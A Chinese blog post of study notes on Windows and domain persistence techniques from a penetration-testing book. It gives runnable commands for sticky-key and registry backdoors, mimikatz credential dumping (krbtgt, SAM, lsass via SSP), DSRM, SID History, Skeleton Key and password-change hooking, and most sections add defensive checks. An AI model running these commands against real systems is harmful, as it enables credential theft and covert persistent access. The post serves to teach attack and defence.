权限维持分析及防御
前言
本篇继续阅读学习《内网安全攻防:渗透测试实战指南》,本章是权限维持分析及防御,分析了常见的针对操作系统后门、Web后门及域后门(白银票据、黄金票据等)的攻击手段,并给出了相应的检测和防范方法
攻击者在提升权限之后,往往会通过建立后门来维持对目标主机的控制权。这样一来,即使目标修复了漏洞,攻击者还是可以通过后门继续控制目标系统
相关知识之前也有过一些学习:
- windows系统后渗透阶段权限维持方法小结
- 内网渗透系列:权限维持方法小结
一、操作系统后门
操作系统后门,泛指绕过目标系统安全控制体系的正规用户认证过程来维持对目标系统的控制权及隐匿控制行为的方法
1、粘滞键后门
粘滞键,5次shift,其实就是命令替换,解决无法同时按多个按键的问题,如将粘滞键设置为ctrl p,因此可以调用cmd、执行后门程序、反弹脚本等
一个简单例子如下:
代码语言:javascript复制cd windowssystem32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
防范:
- 在远程登录服务器时连续按5次“shift”键,判断服务器是否被人侵
- 拒绝使用sethc.exe或者在“控制面板”中关闭“启用粘滞键”选项
2、注册表注入后门
在普通用户权限下可以将后门程序或脚本路径填写到启动项注册表中,当系统管理员登录系统时触发后门
这个在ATT&CK中的Persistence一章中的Registry Run Keys / Startup Folder中有提到
命令如下:
代码语言:javascript复制REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v RegRun /t REG_SZ /d "c:windowssystem32calc.exe"
3、计划任务后门
计划任务在Windows7及之前使用at,在Windows8开始使用schtasks
计划任务后门分为管理员权限和普通用户权限两种
- Metasploit:模块PowerShell Payload Web Delivery
- PowerSploit:https://github.com/PowerShellMafia/PowerSploit中的Persistence.ps1脚本
- Empire:usemodule persistence/elevated/schtasks
一个简单例子:
代码语言:javascript复制//每小时执行1次notepad
schtasks /Create /tn Updater /tr notepad.exe /sc hourly /mo 1
4、meterpreter后门
meterpreter后门,metsvc(依靠服务)和persistence(依靠启动项)
可参考:Metasploit 「控制持久化」权限维持
5、Cymothoa后门
Cymothoa是一款可以将ShellCode注入现有内存(即插进程)的后门工具
下载地址:https://sourceforge.net/projects/cymothoa/
可参考:Cymothoa后门工具
代码语言:javascript复制./cymothoa -s 0 -p <process id> -y <port>
安装成功后使用nc等工具连接设置的端口即可
6、WMI后门
WMI后门需要管理员权限,特征是无文件和无进程,将代码加密存储于WMI中,达到所谓的无文件。当设定的条件被满足时,系统将自动启动Powershell进程去执行后门程序,执行后进程将会消失,达到所谓的“无进程”
Empire下有WMI相关的模块可以使用
代码语言:javascript复制usemodule powershell/persistence/elevated/wmi
可以在目标主机中使用命令查看存在的后门
代码语言:javascript复制Get-WMIObject -Namespace rootSubscription -Class CommandLineEventConsumer
清理WMI后门的方法:
- 删除自动运行列表中的恶意WMI条目
- 使用Get-WMIObject命令删除与WMI持久化相关的组件
二、WEB后门
WEB后门俗称WebShell
1、Nishang下的WebShell
Nishang是针对PowerShell的渗透测试工具
- 集成了框架、脚本(包括下载和执行、键盘记录、DNS、延时命令等脚本)和各种Payload
- 存在ASPX的“大马”在nishangAntak-WebShell目录下
2、Weevely
Weevely主要功能如下:
- 执行命令和测览远程文件
- 检测常见的服务器配置问题
- 创建TCPShell和ReverseShell
- 扫描端口
- 安装HTTP代理
下载地址:https://github.com/epinna/weevely3
3、webacoo
webacoo(Web Backdoor Cookie)是针对PHP平台的Web后门工具
4、meterpreter
meterpreter中有些payload,如:
- shell_reverse_tcp
- PHP meterpreter
三、域控制器权限持久化
1、DSRM后门
目录服务恢复模式(Directory Services Restore Mode,DSRM)是Windows域环境中DC的安全模式启动选项
- 每个DC都有一个本地管理员账户(也就是DSRM账号)
- DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常
- 在域环境创建时,DSRM的密码需要在安装DC时设置,且很少会被重置
因此可以使用ntdsutil工具同步krbtgt的NTLM Hash(即修改密码),再利用注册表修改DSRM的登录方式,即可使用PTH来实现权限持久化
(1)方法
使用mimikatz查看krbtgt账户密码hash值
代码语言:javascript复制 .mimikatz.exe "privilege::debug" "lsadump::lsa /patch /name:krbtgt" exit
查看SAM文件中本地管理员的NTLM HASH值
代码语言:javascript复制 .mimikatz.exe "token::elevate" "lsadump::sam" exit
将DSRM hash和kebtgt的密码同步:
代码语言:javascript复制 ntdsutil
set dsrm password
SYNC FROM DOMAIN account krbtgt
q
再次查看会发现DSRM密码和krbtgt的密码相同,然后修改DSRM的登陆方式,这个注册表键值为2表示"在任何情况下都可以使用DSRM管理员账号登陆域控制器":
代码语言:javascript复制 New-ItemProperty "hklm:systemcurrentcontrolsetcontrollsa" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
使用mimikatz进行pth攻击:
代码语言:javascript复制 .mimikatz.exe "privilege::Debug" "sekurlsa::pth /domain:DC /user:administrator /ntlm:XXXXXXXXXXX"
(2)防范
- 检查hklmsystemcurrentcontrolsetcontrollsadsrmadminlogonbehavior注册表键值的值,确认值为1
- 定期修改DSRM的账号
- 经常检查ID为4794的日志
2、SSP维持域控权限
SSP(Security Support Provider)是Windows安全机制的提供者
- 是一个DLL文件
- 主要用来实现Windows的身份认证功能,如NTLM、Kerberos等
- API接口是SSPI
如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作:
- LSA(Local Security Authority)用于身份验证
- lsass.exe作为Windows的系统进程,用于本地安全和登陆策略
- 在系统启动时,SSP将被加载到lsass.exe进程中
- 假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码,这样即使用户更改的密码并重新登陆,依然可以获取
(1)方法一
是使用mimikatz将伪造的SSP注人内存,重启就丢失
代码语言:javascript复制//注销用户
.mimikatz.exe "privilege::debug" "misc::memssp" exit
//注销之后执行命令查看明文密码
powershell.exe cat c:windowssystem32mimilsa.log
(2)方法二
将mimikatz中的mimilib.dll放到系统的C:WindowsSystem32目录下,并将mimilib.dll添加到注册表中,重启也能持久化
代码语言:javascript复制powershell.exe cp .mimilib.dll C:WindowsSystem32
Set-ItemProperty "hklm:systemcurrentcontrolsetcontrollsa" -name "Security Packages" -value "mimilib.dll"
//重启之后使用命令查看密码
powershell.exe cat c:windowssystem32kiwissp.log
(3)防范
- 查看hklmsystemcurrentcontrolsetcontrollsaSecurity Packages注册表项是否含有可疑的DLL文件
- 检查C:windowssystem32目录下是否存在可疑的文件
- 第三方工具检查LSA中是否有可疑DLL
3、SID History后门
每个用户都有自己的SID
- SID的作用主要是跟踪安全主体控制用户链接资源时的访问权限
- SID History是在域迁移过程中的一个属性,如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源
如果获取了域管理员权限,可以将SID History作为实现持久化的方法
(1)方法
将Administrator的SID添加到恶意用户test的SID History属性中
打开—个具有域管理员权限的命令行窗口
代码语言:javascript复制//test用户的SID History属性
Import-module ActiveDirectory
Get-ADUser xiaom -Properties sidhistory
//将Administrator的SID添加到恶意用户test的SID History属性中
.mimikatz.exe "privilege::Debug" "sid::patch" "sid::add /sam:test /new:administrator" exit
(2)防范
SID History域后门的特点:
- 在控制域控制器后,可以通过注入SID History属性完成持久化任务
- 拥有高权限SID的用户可以使用PowerShell远程导出域控制器的ntds.dll
- 如果不再需要通过SID History属性实现持久化,可以在mimikatz中执行命令sid::clear /sam:usemame清除SID History属性
SID History域后门的防御措施如下:
- 经常查看域用户中SID为500的用户
- 完成域迁移工作后,对有相同SID History属性的用户进行检查
- 定期检查ID为4765和4766的日志:4765为将SID History属性添加到用户的日志,4766为将SID History属性添加到用户失败的日志
4、Golden Ticket & Silver Ticket
可参见:一文了解黄金票据和白银票据
5、Skeleton Key
Skeleton Key(万能密码)
- 在DC中得到域管理员权限(mimikatz首先使用privilege::debug提升权限到Debug权限,才能与lsass交互)
- 使用mimikatz在lsass.exe进程注入Skeleton Key(misc::skeleton)
- 就可以以域内任意用户的身份,配合该key(默认密码mimikatz)进行域内身份授权验证
防范:
- 2014年微软增加了LSA保护策略,防止lsass.exe进程被恶意注入
- 强口令
- 双因子认证,如智能卡认证
- 应用启动白名单
6、Hook PasswordChangeNotify
Hook PasswordChangeNotify,当用户修改密码后在系统中进行同步,攻击者可以在此时抓取输入的明文密码
- 在修改密码时,用户输入新密码后,LSA会调用PasswordFilter来检查该密码是否符合复杂性要求
- 如果密码符合复杂性要求,LSA会调用PasswordChangeNotify,在系统中同步密码
这个方法要使用Invoke-ReflectivePEInjection.ps1,工具下载地址:https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
将HookPasswordChange.dll注入内存,在目标系统中启动管理员权限的powershell:
代码语言:javascript复制. .Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
此时如果再修改用户密码则修改之后的密码会记录在C:windowsTemppassword.txt文件中。
防范:
- 需要对PowerShell进行严格的监视,并启用约束语言模式
结语
一些经典的权限维持方法
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。